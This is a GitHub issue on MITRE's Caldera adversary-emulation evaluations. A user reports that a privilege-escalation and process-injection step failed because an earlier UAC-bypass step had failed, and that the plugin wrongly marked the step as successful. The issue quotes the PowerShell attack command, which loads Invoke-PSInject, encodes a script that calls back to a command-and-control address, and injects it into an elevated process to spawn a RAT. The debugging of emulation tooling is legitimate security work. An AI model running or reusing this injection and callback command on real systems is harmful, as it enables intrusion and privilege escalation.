mitre-attack / evals_caldera

Good evening,

This issue goes along with the one here: #1 since it has the same setup and operation execution/

As described in the previous issue, I also had two processes running as administrator (right click on cmd and powershell and ran them as Administrator) . I believe since the previous step Phase 9 - 3.A.1 failed as shown in here #1 (bypassUAC), this step could not run properly.

Script: https://github.com/mitre-attack/evals_caldera/blob/08315bfa28df7f6a10db3a9abadba1fdba9b2d96/data/abilities/privilege-escalation/088b8639-3f37-42cc-9dc8-01aabb645461.yml

Output:

Import-Module .\Invoke-PSInject.ps1 -Verbose -Force;Move-Item -Path .\update.ps1 -Destination $env:APPDATA -Force;$pcode = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Import-Module $env:APPDATA\update.ps1;update('http://172.18.39.8:8888')"));Inject -PoshCode $pcode;
VERBOSE: Loading module from path 'C:\Users\pgustavo\Invoke-PSInject.ps1'.
VERBOSE: Dot-sourcing the script file 'C:\Users\pgustavo\Invoke-PSInject.ps1'.
Get-Process : The 'IncludeUserName' parameter requires elevated user rights. Try running the command again 
in a session that has been opened with elevated user rights (that is, Run as Administrator).
At C:\Users\pgustavo\Invoke-PSInject.ps1:3583 char:5
+     Get-Process -IncludeUserName | Where-Object { $_.UserName -like " ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Get-Process], InvalidOperationException
    + FullyQualifiedErrorId : IncludeUserNameRequiresElevation,Microsoft.PowerShell.Commands.GetProcessComm 
   and

According to the description of this step:

evals_caldera/data/abilities/privilege-escalation/088b8639-3f37-42cc-9dc8-01aabb645461.yml

Line 7 in 08315bf

    
             description: The limited functionality high-integrity RAT will inject malicious code into an existing fully functional high-integrity process, resulting in a new elevated, fully functional high-integrity RAT.

BypassUAC failed first, so it makes sense I guess that this step did not work.

One thing to mention too is that the plugin says that Phase 10 - 3.B.1 step ran successfully. However, as shown above, it did not. A screen shot:

Thank you in advance!

[Plugin - Phase 10 - 3.B.1] Process Discovery (T1057), 3.C.1 - Process Injection (T1055)